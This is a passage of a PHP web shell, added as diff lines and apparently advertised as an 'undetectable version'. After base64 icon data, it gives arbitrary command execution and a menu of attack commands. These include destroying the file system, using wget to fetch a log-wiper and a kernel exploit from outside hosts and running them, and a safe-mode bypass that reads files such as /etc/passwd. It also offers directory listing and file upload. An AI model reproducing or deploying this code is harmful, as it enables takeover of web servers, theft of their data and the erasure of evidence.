+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center>Undetectable version by <br> Spyk1r4 <br> <img src=\"http://emp3ror.com/images/emplogo1.gif\"></center>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input 